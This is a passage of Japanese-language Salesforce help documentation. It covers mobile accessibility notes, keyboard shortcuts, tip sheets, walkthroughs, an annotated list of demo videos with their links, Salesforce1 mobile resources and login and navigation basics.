して水平方向にスクロールしてください。

• ピンチとスプレッドを使用したズームは現在サポートされていません。ズームするには、iOS のズーム機能
を使用してください。

• 開始画面の装飾的な画像は、読み上げられますが装飾として識別されません。
Android デバイスの場合、支援技術ユーザは次の点を考慮する必要があります。
• Chatter に投稿するときに、投稿を作成する領域は読み上げられません。
• 開始画面の装飾的な画像は、読み上げられますが装飾として識別されません。
すべてのデバイスで、通知リストの閉じるボタンには説明がありません。通知リストは、画面左上にありま
す。

キーボードショートカット

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

キーボードショートカットを使用して、Salesforce で効率的に作業できます。
Web ブラウザで使用可能な標準キーボードショートカットに加えて、Salesforce で
は次のキーボードショートカットをサポートしています。
• ALT + <n> (n は、0 ～ 9 までの任意の数) を押すと、サイドバーの [最近使った

データ] リストの項目が強調表示されます。たとえば、ALT + 1 を押すと、リ
ストの最初の項目が強調表示され、ALT + 2 を押すと 2 番目の項目が強調表示
されます。ALT + 0 を押すと、リストの 10 番目の項目が強調表示されます。

メモ:  Mozilla® Firefox®を使用している場合は、SHIFT + ALT + 数字を押すと、
強調表示した項目が自動的に表示されます。Mac で Mozilla Firefox を使用
している場合、CTRL + 数字を押します。Microsoft® Internet Explorer® を使用
している場合、ALT + 数字を押してから Enter キーを押すと、強調表示し
た項目が表示されます。

• 折りたたみ可能なサイドバーが組織内で使用されている場合は、ALT + S を押すとサイドバーを開いたり閉
じたりできます。ALT + S を押してサイドバーを開くと、カーソルが自動的に [検索] ボックスに位置付けら
れます。
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Lightning Experience コンポーザウィンドウのキーボードショートカット

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キーボードショートカットを使用すると、Lightning Experience コンポーザウィン
ドウで効率的に作業できます。コンポーザウィンドウを開いて、ToDo の作成、
メモ取り、活動の記録などを行うことができます。キーボードショートカット
を使用して、コンポーザ内の項目間や、同時に開かれている複数のコンポーザ
ウィンドウ間を容易に移動できます。
Web ブラウザで使用可能な標準キーボードショートカットに加えて、Lightning

Experienceではコンポーザウィンドウ使用時に次の便利なショートカットがサポー
トされます。
• Alt+1: ページの任意の場所からオーバーフローメニューを開く
• 上下矢印キー: オーバーフローメニュー内の開かれたコンポーザウィンドウ

のリスト内を移動する
• 左右矢印キー: 開かれたコンポーザウィンドウ間を移動する
• Enter (コンポーザウィンドウのヘッダーから): フォーカスをコンポーザウィンドウ内に移動する
• Tab キー: コンポーザウィンドウ内の項目間を巡回する
• Esc キー: フォーカスをコンポーザウィンドウからウィンドウのヘッダーに移動する

関連リソース
エディション

使用可能なエディション:
すべてのエディション

追加のリソースが必要な場合は、ヒントシート、実装ガイド、動画、ウォーク
スルーを確認してください。

ヒント集と実装ガイド
ウォークスルーによる作業効率の向上
対話型のウォークスルーは、作業や機能をステップバイステップで案内します。Salesforce では、Salesforce

を使用して成功していただけるよう、ウォークスルーを作成しています。
デモビデオ
Salesforce1 モバイルアプリケーションのヘルプリソース
Salesforce1モバイルアプリケーションの使用方法、アプリケーションを使用するための組織の設定、および
アプリケーション開発に関する詳細は、次のリソースを参照してください。

ヒント集と実装ガイド
オンラインヘルプに加え、Salesforceでは、Salesforceを使用して成功していただけるよう、その他の資料も公開
しています。これらのドキュメントには、ヒント集、実装ガイド、そしてSalesforceの特徴や機能について説明
したその他のリソースが含まれます。

メモ:  Adobe® PDF ファイルを開くためには Adobe Reader®が必要です。Reader の最新バージョンをダウンロー
ドするには、www.adobe.com/products/acrobat/readstep2.htmlにアクセスしてください。
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印刷可能なヒント集およびユーザガイド — すべてのユーザ向け
システム要件、カスタムビュー、コンテンツ配信、Chatter Plus に関する情報。
印刷可能なヒント集およびユーザガイド — 営業担当者向け
印刷可能なヒント集およびユーザガイド — サポート担当者向け
印刷可能なヒント集およびユーザガイド — マーケティング担当者向け
印刷可能なヒント集およびユーザガイド — 分析管理者およびエンドユーザ向け
このトピックには、複数のトピックおよび複数のクラウドベースのバンドルで再利用できるヒント集と実
装ガイドが含まれています。
印刷可能なヒント集およびユーザガイド — システム管理者向け

印刷可能なヒント集およびユーザガイド — すべてのユーザ向け
システム要件、カスタムビュー、コンテンツ配信、Chatter Plus に関する情報。
• Salesforce を使って成功する方法
• コンテンツ配信のヒント集
• Chatter およびよくある質問 (FAQ)

印刷可能なヒント集およびユーザガイド — 営業担当者向け

エンタープライズテリトリー管理
• Enterprise Territory Management Implementation Guide (エンタープライズテリトリー管理実装ガイド)

取引先管理
• 差し込み印刷テンプレートのサンプル (Zip ファイル)

印刷可能なヒント集およびユーザガイド — サポート担当者向け
サポート担当者対象のドキュメントは次のとおりです。
• サポート担当者向けヒント集
• ソフトフォンの使用開始
• コンソールタブの使用
• ソリューションのヒント集
• ケースフィードの概要
• サポートエージェントの Live Agent

• サポートスーパーバイザの Live Agent

印刷可能なヒント集およびユーザガイド — マーケティング担当者向け
マーケティング担当者対象のドキュメントは次のとおりです。
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• リードを最大限に活用するためのヒント集
• キャンペーンを管理するための 5 つのステップ
• コンテンツ配信のヒント集

印刷可能なヒント集およびユーザガイド — 分析管理者およびエンドユーザ向け
このトピックには、複数のトピックおよび複数のクラウドベースのバンドルで再利用できるヒント集と実装ガ
イドが含まれています。

印刷可能なヒント集およびユーザガイド — システム管理者向け

ウォークスルーによる作業効率の向上

エディション

使用可能なエディション:
すべてのエディション

対話型のウォークスルーは、作業や機能をステップバイステップで案内します。
Salesforceでは、Salesforceを使用して成功していただけるよう、ウォークスルーを
作成しています。
ウォークスルーリンクをクリックする前に、Salesforce の正しいページにアクセ
スできるようにするため、ユーザ権限および機能に関連付けられたライセンス
が適切であることを確認してください。その後で、リンクをクリックしてウォー
クスルーを開きます。まだログインしていない場合は、アカウントにログインするよう求められます。
ウォークスルーの一連の手順に従うことで、タスクを完了したり、自分のSalesforceアカウント内で機能を直接
確認したりできます。

メモ: ウォークスルーでは、デモ環境ではなく、ユーザ自身のSalesforceアカウント内で操作を行います。
そのため、手順に従うことで組織のデータを実際に変更することになります。このような変更を加える
ことが心配な場合は、Sandbox アカウントまたは別のテスト環境でまずウォークスルーを使用してくださ
い。

デモビデオ
Salesforce では、Salesforce を使用して成功していただけるよう、デモビデオを作成しています。ビデオはすべて
英語です。
• Salesforce の設定
• ユーザの設定
• Salesforce の一般的な機能
• コミュニティと Chatter

• 営業
• サービス
• プラットフォームとアプリケーション
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Salesforce の設定

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Get Ready to Migrate to Lightning Experience (Lightning Experience への移行の
準備)

Lightning Experience は、営業担当の作業のやり方を変える最新のインテリ
ジェントなSalesforceユーザインターフェースです。営業担当が使用を開
始するには、事前に Salesforce システム管理者が Salesforce Classic から移行
する必要があります。この動画では、移行アシスタントのガイドに従っ
てシステム管理者が移行の各ステップをどう進めればよいかを説明しま
す。

ユーザの設定

システム管理者
向け

エンドユーザ向
け

動画のタイトル

How to Change Your Personal Settings in Salesforce (Salesforce で個人設定を変
更する方法)

この短い動画では、Salesforceでの個人設定の変更について説明します。
ページ上部に表示されるタブの変更、個々のページに表示されるレイア
ウトと要素の変更、Chatter メール設定の調整を行うことができます。

Need Help Logging In? (ログインの支援が必要ですか?)

Salesforceパスワードを忘れた場合の対処方法を説明するクイックビデオ
です。

Salesforce の一般的な機能

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Searching in Salesforce Classic (Salesforce Classic での検索)

この動画では、SalesforceおよびChatter内の検索について説明し、ファイ
ル、投稿、レコード、トピックをすばやく見つけられるようにします。

Filtering Search Results in Salesforce Classic (Salesforce Classic での検索結果の絞
り込み)

レコードを探しているのに検索結果ページの操作方法がわからなくてお
困りではありませんか? この動画では、Salesforce Classic で検索条件を使用
して検索結果を絞り込む方法について説明します。
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システム管理者
向け

エンドユーザ向
け

動画のタイトル

Searching in Salesforce Lightning Experience (Salesforce Lightning Experience での
検索)

この動画では、Salesforce Lightning Experienceでの検索および検索結果のナ
ビゲーションについて説明します。

How Does Search Work? (検索のしくみ)

検索時に組織内の情報がどのように検出されるのか疑問に思ったことは
ありませんか? この動画では、どのようにして検索語が分解され、検索
インデックスと照合されるのかなど、検索プロセスついて説明します。

How to Search In Help (ヘルプでの検索方法)

ヘルプポータルは、ドキュメント、トラブルシューティングタイプのナ
レッジ記事、動画など、広範囲に及びます。検索設定を微調整して、検
索条件の使用方法を学習し、いつでも必要な情報を探すことができるよ
うにします。

コミュニティと Chatter

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Tips for Rolling Out Chatter (Chatter のロールアウトのヒント)

組織へのChatterのロールアウト方法やユーザ間での導入の促進方法を明
確に把握できていますか。この短い動画を見て、オプションを確認し、
ビジネスニーズに合った独自の計画を作成してください。

Discover and Organize with Chatter Topics (Chatterトピックを使用した検出と
整理)

Chatterトピックを使用して、他のユーザが話している話題の確認、参加
を希望している会話の整理、同じトピックに関して興味や知識を持って
いる人やグループの検出を行います。

Getting the Most Out of Chatter Feeds (Chatter フィードを最大限に活用)

Salesforce Chatterを使用すると、投稿、アンケート、およびブックマーク
を作成し、Chatter で同僚と効果的にコラボレーションできます。フォ
ローされている人またはグループに投稿する方法、後で見つけられるよ
うに投稿をブックマークする方法、結果をすぐ収集するためにアンケー
トを作成する方法について説明します。

Get Started with Salesforce Files Sync (Salesforce Files Sync の使用開始)
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http://salesforce.vidyard.com/watch/U8jqq2qhfD8TxXL7Nj92Eg
http://salesforce.vidyard.com/watch/U8jqq2qhfD8TxXL7Nj92Eg
http://salesforce.vidyard.com/watch/1u0Ps_lIXH7LrtWKsG7PZQ
http://salesforce.vidyard.com/watch/lD50R32b4KbOl9ruM7Bdnw
http://salesforce.vidyard.com/watch/ZczOShy2tZnQK3ULHPTaWw
http://salesforce.vidyard.com/watch/tVmKPZ2Tn7I2eCXYsin1-w
http://salesforce.vidyard.com/watch/tVmKPZ2Tn7I2eCXYsin1-w
http://salesforce.vidyard.com/watch/LW1y7In5R2H89g4G6kh4cw
http://salesforce.vidyard.com/watch/be4SI0K3x8Bf9AByY1T10w


システム管理者
向け

エンドユーザ向
け

動画のタイトル

すべてのファイルが常に最新バージョンになるように、コンピュータま
たはモバイルデバイスと Salesforce 間でファイルを同期する方法を学習し
ます。

営業

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Lightning Experience: Take it for a Spin (Lightning Experience: 試してみよう)

この動画では、Salesforce Lightning Experienceの全容を示します。個人設定
を見つける方法、レコードやアプリケーションなどの項目を見つける場
所、レコードをナビゲーションして詳細や一般的なアクションを見つけ
る方法について説明します。

Use Tasks in Lightning Experience to Boost Sales Productivity (Lightning Experience

での ToDo を使用した営業の生産性向上)

Lightning Experienceで ToDo を管理する 3 通りの有力な方法について説明し
ます。

Qualify and Convert Your Leads Efficiently (リードの効率的な評価および変換)

Lightning Experienceのリードワークスペースは、リードの評価に取り組む
司令本部です。活動の記録、ToDo の作成、コラボレーション、メールの
送信のすべてをワークスペースから行います。

Work Your Opportunities and Manage Your Pipeline (商談の促進とパイプライ
ンの管理)

この動画では、Salesforce Lightning Experienceで案件を処理し、パイプライ
ンを管理する方法を示します。

Take Your Tasks from Desktop to Mobile (デスクトップからモバイルへの ToDo

の移動)

Salesforce の使用開始時に設定ウィザードが役立つことを示します。

Salesforce Basics for Helping Your Sales Teams Close Deals Faster (営業チームが
商談を迅速に成立させるための Salesforce の基本事項)

データを保存するためにSalesforceで使用する標準オブジェクトについて
説明します。
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http://salesforce.vidyard.com/watch/LfY-yg0tw_0A2YeLn42lsw
http://salesforce.vidyard.com/watch/XyjzCo8PpbCZz-2MV-laPQ
http://salesforce.vidyard.com/watch/XyjzCo8PpbCZz-2MV-laPQ
http://salesforce.vidyard.com/watch/gKjoNI_n5O9WfYpqE_p3Xg
http://salesforce.vidyard.com/watch/naLx-46gh1ORbAokQhqp-A
http://salesforce.vidyard.com/watch/naLx-46gh1ORbAokQhqp-A
http://salesforce.vidyard.com/watch/e49wRVcYkrWuKteh5uC_Gg
http://salesforce.vidyard.com/watch/e49wRVcYkrWuKteh5uC_Gg
http://salesforce.vidyard.com/watch/TcBoXyRd1wutcc477-fPeA
http://salesforce.vidyard.com/watch/TcBoXyRd1wutcc477-fPeA


システム管理者
向け

エンドユーザ向
け

動画のタイトル

Take Your Tasks from Desktop to Mobile (デスクトップからモバイルへの ToDo

の移動)

携帯電話およびタブレット向けの Salesforce1 アプリケーションを使用し
て、外出先でも常に ToDo を把握します。

Accounts and Contacts on the Go (外出先での取引先および取引先責任者)

携帯電話およびタブレット向けの Salesforce1 アプリケーションでデスク
トップデータとモバイルデータを統合します。

Splitting Credit across Your Sales Team (営業チーム間でのクレジット分割)

収益分割およびオーバーレイ分割を商談に追加する方法を学習します。

Connecting Social Networks to Accounts, Contacts, and Leads (取引先、取引先
責任者、およびリードへのソーシャルネットワークの接続)

Salesforce取引先、取引先責任者、およびリードにソーシャルデータを追
加することにより既存の顧客および見込み客の詳細を把握します。

Editing Role-Based Category Group Visibility (ロールベースのカテゴリグルー
プ表示設定の編集)

特定のデータカテゴリに基づいて、アンサーコミュニティの質問、知識
ベースの記事などの情報の表示を特定のロールに許可します。

Forecast Accurately With Collaborative Forecasts (コラボレーション売上予測
を使用した正確な売上予測)

売上目標を達成できるようにするためのコラボレーション売上予測の巧
みな操作方法を確認します。

Sending Mass Email (一括メール送信)

このデモでは、Salesforceで一括メール送信ツールを活用して顧客と迅速
に連絡を取り、Salesforceアプリケーション内でこれらのメールを管理す
る方法を説明します。

Creating Quote Templates (見積テンプレートの作成)

見積テンプレートを使用すると、営業担当が顧客に送信する見積 PDF の
テンプレートを設計、プレビュー、有効化できます。

How to Merge Contacts in Salesforce (Salesforceでの取引先責任者のマージ方
法)

Salesforceで、重複する取引先責任者レコードをマージする方法を学習し
ます。

41

関連リソースSalesforce の使用開始

http://salesforce.vidyard.com/watch/2pB-LC-4mafe7FCt-Mlftw
http://salesforce.vidyard.com/watch/2pB-LC-4mafe7FCt-Mlftw
http://salesforce.vidyard.com/watch/UnzJB8EHIYL_ur_wxKRFZQ
http://salesforce.vidyard.com/watch/CftRg0qCkGZghPMkqLDLjg
http://salesforce.vidyard.com/watch/FZfHdKa6TuGog-JHzOlLDg
http://salesforce.vidyard.com/watch/FZfHdKa6TuGog-JHzOlLDg
https://help.salesforce.com/setup/user/tutorial/category_visibility.htm
https://help.salesforce.com/setup/user/tutorial/category_visibility.htm
http://salesforce.vidyard.com/watch/IpgMGIA55Z4DVPuuS0OxEQ
http://salesforce.vidyard.com/watch/IpgMGIA55Z4DVPuuS0OxEQ
http://salesforce.vidyard.com/watch/f9yyHqyoZ8Tw_EaJxoPqsw
http://salesforce.vidyard.com/watch/_U4ePtDJHuot9OMHSZTLEA
http://salesforce.vidyard.com/watch/EUvG4-gLTofRH36J5dZ9MA
http://salesforce.vidyard.com/watch/EUvG4-gLTofRH36J5dZ9MA


システム管理者
向け

エンドユーザ向
け

動画のタイトル

How to Use Notes (メモの使用方法)

Salesforce1 での高度なメモを取るためのツール、メモの使用方法を学習
します。

How to Track Calls, Emails, and Meetings (電話、メール、ミーティングを追
跡する方法)

Salesforceで電話、メール、ミーティングなどの行動を追跡する方法を学
習します。

Merging Duplicate Accounts: Tips and Gotchas (重複する取引先のマージ: ヒン
トおよび潜在的な問題)

[取引先のマージ] ツールを使用すると、複数の取引先レコードを 1 つに
マージすることや、レコードごとに保持するデータを選択することがで
きます。この動画では、クリーンな状態の有用なデータをすばやく取得
するためのプロセスを説明します。

Relate a Single Contact to Multiple Accounts (1 人の取引先責任者の複数の取
引先への関連付け)

担当する個人と法人の間のリレーションを追跡することがいかに簡単で
あるかについて説明します。1 つの取引先責任者レコードを複数の取引
先レコードに関連付けけると、現在および過去のリレーションが表示で
きるため、交渉相手がどのような人物か、場合によっては誰と交渉すべ
きかをいつでも把握できます。

Set Up Contacts to Multiple Accounts (取引先責任者-to-複数取引先の設定)

営業担当が顧客とその勤務先の法人との間のリレーションを簡単に追跡
できるようにします。取引先責任者-to-複数取引先は簡単に設定でき、
営業担当が 1 つの取引先責任者レコードを複数の取引先に関連付けられ
るようになります。

Lightning Sync 動画
Set Up a Microsoft® Exchange Service Account to Sync with Salesforce (for

administrators using Office 365™ Admin Center) (Salesforce と同期するための
Microsoft® Exchange サービスアカウントの設定 (Office 365™ 管理センターを
使用するシステム管理者向け))

この動画では、Microsoft Office 365 ポイント & クリックインターフェース
を使用して、Lightning Sync の Exchange サービスアカウントを設定する方
法を説明します。

Set Up a Microsoft® Exchange Service Account to Sync with Salesforce (for

administrators using command shell) (Salesforce と同期するための Microsoft®
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http://salesforce.vidyard.com/watch/Mi5ijFfry7pSO5WH0xHOOg
http://salesforce.vidyard.com/watch/Yfv-H8yT7J6_keBGlQa31Q
http://salesforce.vidyard.com/watch/Yfv-H8yT7J6_keBGlQa31Q
http://salesforce.vidyard.com/watch/QcK0SLnypaQZFEGn9wePnA
http://salesforce.vidyard.com/watch/QcK0SLnypaQZFEGn9wePnA
http://salesforce.vidyard.com/watch/EFDagZ9x2XWZnVgT7brfrn
http://salesforce.vidyard.com/watch/EFDagZ9x2XWZnVgT7brfrn
http://salesforce.vidyard.com/watch/fxqHZf2pER29kXRYvkwio3
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/Ufe4uKH5eBeKNKWdyPC-sA
http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw
http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw


システム管理者
向け

エンドユーザ向
け

動画のタイトル

Exchange サービスアカウントの設定 (コマンドシェルを使用するシステ
ム管理者向け))

この動画では、コマンドラインインターフェースを使用して、Lightning

Sync に対して Exchange 2013、Exchange 2016、または Microsoft Office 365™

(Exchange Online) サービスアカウントを設定する方法を説明します。

Salesforce for Outlook 動画

Getting Started with Salesforce for Outlook (Salesforce for Outlook の使用開始)

Salesforce for Outlook を使用すると、Microsoft® Outlook® と Salesforce の間で取
引先責任者、行動、および ToDo を同期できます。Outlook から直接、
Outlook のメール、予定、仕事をSalesforceのレコードに関連付けることも
できます。Salesforce for Outlook をシステムにダウンロードしてインストー
ルする方法を学習します。

Learning about Sync Directions (同期方向に関する説明)

Salesforce for Outlookの同期方向の設定を参照し、その設定を変更する権限
があるかどうかを確認する方法について説明します。

Using the Salesforce Side Panel to Work with Records in Microsoft® Outlook® (Salesforce

サイドパネルを使用した Microsoft® Outlook® のレコードの操作)

Outlook で直接Salesforceレコードを操作する方法を学習します。また、任
意の Salesforce レコードに Outlook メールと行動を追加する方法も学習し
ます。

サービス

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Introducing the Salesforce Console (Salesforce コンソールの概要)

Salesforce コンソールのタブを使用すると、迅速にレコードを検索して更
新できます。

Plan Your Salesforce Console Implementation (Salesforce コンソールの実装計
画)

サポートエージェント向けに Service Cloud コンソールを設定する方法を
説明します。
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http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw
http://salesforce.vidyard.com/watch/UkqihTWJnGCm7DyVHPBNEw
http://salesforce.vidyard.com/watch/1FFoihBBaWKGNwtgwFsIeQ
http://salesforce.vidyard.com/watch/nZMcdqwuhGL53IXr0VGkcA
http://salesforce.vidyard.com/watch/ka4G8xW8In97WvpEuH87Zg
http://salesforce.vidyard.com/watch/ka4G8xW8In97WvpEuH87Zg
http://salesforce.vidyard.com/watch/47c2vGstNeZzqY18ELtkxQ
http://salesforce.vidyard.com/watch/Ki1BhOiiQAbhWmFg-x4uiQ
http://salesforce.vidyard.com/watch/Ki1BhOiiQAbhWmFg-x4uiQ


システム管理者
向け

エンドユーザ向
け

動画のタイトル

Entitlement Management Setup (エンタイトルメント管理の設定)

エンタイトルメント管理機能の設定方法を学習します。エンタイトルメ
ント管理により、サポート担当者は特定の種類のサポートの対象である
顧客を確認できます。この動画では、エンタイトルメント管理マイルス
トン、エンタイトルメントプロセス、エンタイトルメント、サービス契
約について説明します。

Updating Entitlement Processes with Entitlement Versioning (エンタイトルメン
トのバージョン設定でのエンタイトルメントプロセスの更新)

エンタイトルメントプロセスの新規バージョンを作成し、新規バージョ
ンを編集して新規および既存のエンタイトルメントに適用する方法につ
いて説明します。

Support Your Customers on Their Social Networks (ソーシャルネットワーク上
の顧客のサポート)

ソーシャルカスタマーサービスの使用を開始する方法を学習します。

 Live Agent Configuration (Live Agent の設定)

Live Agent で Salesforce を設定し、エージェントがチャットできるようにし
ます。

プラットフォームとアプリケーション (一般)

システム管理者
向け

エンドユーザ向
け

動画のタイトル

自社向けに Salesforce のデザインを変更する方法
組織のSalesforceの外観をカスタマイズする方法のクイックツアーです。

Creating a Workflow Rule (ワークフロールールの作成)

Salesforceでワークフロールールを作成する方法のクイックツアーです。

Visual Workflow Cloud Flow Designer の概要
このデモでは、フロー作成ツールである Visual Workflow の Cloud Flow Designer

の概要について説明します。Salesforce Cloud Flow Designer を使用すると、
コードを記述せずに完全に Salesforce 内で、画面を設定し、フローの分岐
ロジックを定義できます。

Building a Simple Flow (簡単なフローの作成)
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http://salesforce.vidyard.com/watch/ebG4lQpek4bQr3UeEHfGGg
http://salesforce.vidyard.com/watch/FrNDWvMGbqpQj14rNtLYPg
http://salesforce.vidyard.com/watch/FrNDWvMGbqpQj14rNtLYPg
http://salesforce.vidyard.com/watch/9CMoKIzlVod8A0sMoWxShQ
http://salesforce.vidyard.com/watch/9CMoKIzlVod8A0sMoWxShQ
http://salesforce.vidyard.com/watch/XCya06YZayLlwG5wJzmByQ
http://salesforce.vidyard.com/watch/i25y59juRxjpz-1AKl46FQ
http://salesforce.vidyard.com/watch/IqZIFLtEx9rY7AD8QLFE3Q
http://salesforce.vidyard.com/watch/f5EHUD2oiXr6t3_J6wW2tw
http://salesforce.vidyard.com/watch/WYDiNNK0SVJH6Kae42t5Mw


システム管理者
向け

エンドユーザ向
け

動画のタイトル

ユーザ入力項目や選択肢を使用して簡単な 2 画面の寄付のフローを作成
する手順を説明します。ユーザの情報を収集し、寄付レベルの選択を求
め、献金に対して感謝します。

Troubleshooting Workflow (トラブルシューティングワークフロー)

ワークフローで発生することがある最も一般的な問題を調査して、トラ
ブルシューティングする方法を学習します。

 Avoid Unwanted Actions in Your Process (プロセスでの不要なアクションの
回避)

この動画では、プロセスビルダーのオプションを設定する方法について
説明します。これによって、たとえば、大型商談が更新されるたびに副
社長に大量のメールが送信されるのを回避できます。

Creating Custom Links and Buttons (カスタムリンクとカスタムボタンの作
成)

会社の住所と Yahoo! 地図を対応付ける取引先オブジェクトのリンクを作
成する方法を学習します。

How Organization Sync Works (組織の同期のしくみ)

組織の同期について学習します。この高可用性機能を使用して、プライ
マリ組織が停止またはメンテナンス中にユーザがアクセス可能な同期済
みのセカンダリ Salesforce 組織を設定できます。

Who Sees What: Record Types (Who Sees What: レコードタイプ)

レコードタイプを使用して同じオブジェクトのデータを異なる方法で整
理および収集する方法について学習します。

カスタム項目

システム管理者
向け

エンドユーザ向
け

動画のタイトル

How to Create a Custom Field in Salesforce (Salesforce でのカスタム項目の作
成方法)

Salesforce をカスタマイズして、すべてのビジネスデータを収集できま
す。この短い動画では、正しいデータ型の選択から項目レベルセキュリ
ティの適用まで、カスタム選択リスト項目を作成する手順を説明しま
す。

45

関連リソースSalesforce の使用開始

http://salesforce.vidyard.com/watch/WAuoOV79TqSo6cMPAxurPg
http://salesforce.vidyard.com/watch/1sbznRSzxtxhzRi3Hn_9ag
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http://salesforce.vidyard.com/watch/cB6wNfrsbfbn7SMAYISu2w
http://salesforce.vidyard.com/watch/evViyvnYMJNKXDRm8_vi5Q
http://salesforce.vidyard.com/watch/um8ZtKv_2awfCTitmz0vtA
http://salesforce.vidyard.com/watch/um8ZtKv_2awfCTitmz0vtA


システム管理者
向け

エンドユーザ向
け

動画のタイトル

 Custom Fields: Picklists (カスタム項目: 選択リスト)

この動画では、選択リスト項目の作成、項目への新しい値の追加、およ
び古い値の削除ついて説明します。また、ユーザの作業に関連する選択
肢がユーザに表示されるように、正しいページレイアウトに値を追加す
る方法についても説明します。

数式

システム管理者
向け

エンドユーザ向
け

動画のタイトル

Getting Started With Formulas (数式の使用開始)

この動画では、Salesforce数式の概要、アプリケーションでの数式エディ
タのアクセス、エディタツールを使用して数式を作成する方法について
説明します。

How to Build an Image Formula (画像数式の作成方法)

この動画では、リードの評価項目に画像を追加する迅速かつ簡単な数式
の作成方法について説明します。「見込み有り」には星 5 個、「将来見
込み有り」には星 3 個、「見込み無し」には星 1 個を使用して、どの
リードが最も重要かを営業担当者が一目で判断できます。

 Formulas: Tips and Gotchas (数式: ヒントおよび潜在的な問題)

数式は強力な機能で、項目およびレポートで使用できます。この動画で
は、開始方法や、よくある間違いの回避方法に関するいくつかのプロの
ヒントについて説明します。

Salesforce1 モバイルアプリケーションのヘルプリソース

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 モバイルアプリケーションの使用方法、アプリケーションを使用する
ための組織の設定、およびアプリケーション開発に関する詳細は、次のリソー
スを参照してください。

Salesforce1 の使用開始

Trailhead

HTMLSalesforce1 の基礎 (ユーザ向け)

ガイド
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http://salesforce.vidyard.com/watch/UUfBJ9twAakucyPM6E89UA
http://salesforce.vidyard.com/watch/EC0MrR6ZMU4CiHyFaakGhg
http://salesforce.vidyard.com/watch/L37PjB5knQyxRqq6J36IVA
http://salesforce.vidyard.com/watch/HL41y6hcXGo2XLp3EX6u6A
https://trailhead.salesforce.com/ja/module/lex_salesforce1_basics


PDFSalesforce1 アプリケーションの使用

ヘルプトピック
HTMLSalesforce1 モバイルアプリケーションの概要
HTMLSalesforce1 モバイルアプリケーション機能: 各バージョンで使用可能な機能
HTMLSalesforce1 モバイルアプリケーションの要件
HTMLSalesforce1 モバイルアプリケーションで使用可能なデータ
HTMLSalesforce1 モバイルアプリケーションの取得
HTMLSalesforce1 モバイルアプリケーションで使用できない機能とその新機能

アプリケーションのヘルプ
HTMLSalesforce1 のヘルプ

Salesforce1 動画

動画Take Your Tasks from Desktop to Mobile (デスクトップからモバイルに ToDo を移行)
(Salesforce Classic)

動画Accounts and Contacts on the Go (外出先での取引先と取引先責任者) (Salesforce Classic)

動画How to Use Notes (メモの使用方法)

Salesforce1 の設定とカスタマイズ

Trailhead

HTMLSalesforce1 ロールアウト
HTMLSalesforce1 モバイルの基本事項

ガイド
HTMLPDFSalesforce1 モバイルアプリケーション管理ガイド
HTMLSalesforce1 アプリケーション管理ロールアウトガイド

ヘルプトピック
HTMLSalesforce1 ウィザードを使用した Salesforce1 モバイルアプリケーションの設定
HTMLSalesforce1 をユーザの手に
HTMLSalesforce1 のアクションバーでのアクションの順序
HTMLSalesforce1 モバイルアプリケーションでの組織のブランド設定
HTMLSalesforce1 モバイルアプリケーションの Visualforce ページの有効化
HTMLSalesforce1 モバイルアプリケーションをオフラインで使用
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https://resources.docs.salesforce.com/206/latest/en-us/sfdc/pdf/salesforce1_user_guide.pdf
http://mobile.docs.salesforce.com/ja-jp/206.0/help/helpsfdc1_overview.htm
http://salesforce.vidyard.com/watch/2pB-LC-4mafe7FCt-Mlftw
http://salesforce.vidyard.com/watch/UnzJB8EHIYL_ur_wxKRFZQ
http://salesforce.vidyard.com/watch/Mi5ijFfry7pSO5WH0xHOOg
https://trailhead.salesforce.com/ja/module/salesforce1_rollout
https://trailhead.salesforce.com/ja/module/salesforce1_mobile_app
https://developer.salesforce.com/docs/atlas.ja-jp.salesforce1appadmin.meta/salesforce1appadmin/salesforce1_admin_guide_intro.htm
https://resources.docs.salesforce.com/206/latest/ja-jp/sfdc/pdf/salesforce1_admin_guide.pdf
http://www.salesforce.com/salesforce1/rolloutguide/


Salesforce1 向けの開発

Trailhead

HTMLVisualforce Mobile

ガイド
HTMLPDFSalesforce1 アプリケーション開発者ガイド

PDFAndroid および iOS の Salesforce1 モバイルの URL スキーマ
PDFSalesforce1 モバイルセキュリティガイド

Salesforce へのログイン、操作、検索

Salesforce の新規ユーザですか? 基本的な CRM 機能の操作、カスタマイズ、および管理方法について学習してく
ださい。

初回のログイン
お知らせメールには、組織の Salesforce サイトへのリンクとログイン情報が含まれます。
パスワードの変更
ログイン後、セキュリティを強化するために現在のパスワードを変更できます。パスワードをなくした場
合は、ログインページの [パスワードをお忘れですか?]リンクをクリックして、メール経由でパスワードを
リセットします。
セキュリティの質問の変更
パスワードを忘れてリセットする必要がある場合、本人確認のために以前に選択したセキュリティの質問
に回答するよう求められることがあります。セキュリティの質問と答えは、個人設定の [私のパスワード変
更] ページで変更できます。
ドキュメントおよびオンライントレーニングコースのプラグインのダウンロード
Salesforce PDF ドキュメントおよびオンライントレーニングコースは、Adobe Reader や Macromedia Flash Player な
どの無料のプラグインを使用します。
Salesforce 内を移動するためのタブ
各 Salesforce ページの上部には、Salesforce の主要な機能に移動するためのタブやリンクがあります。
Salesforce 全体の検索
Salesforce 全体で、レコード、Chatter フィード、人、グループ、ToDo などを検索できます。検索は、Salesforce

サイト、Salesforce1 モバイルアプリケーション、Salesforce プラットフォームで構築されたカスタム検索実装
で使用できます。
Chatter プロファイルの設定
Chatter プロファイルにより、やりとりする同僚や顧客があなたについて知ることができます。あなたの写
真や、役職および連絡先詳細などの基本情報が含まれます。
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https://trailhead.salesforce.com/ja/module/visualforce_mobile_salesforce1
https://developer.salesforce.com/docs/atlas.ja-jp.salesforce1.meta/salesforce1/salesforce1_guide_introduction.htm
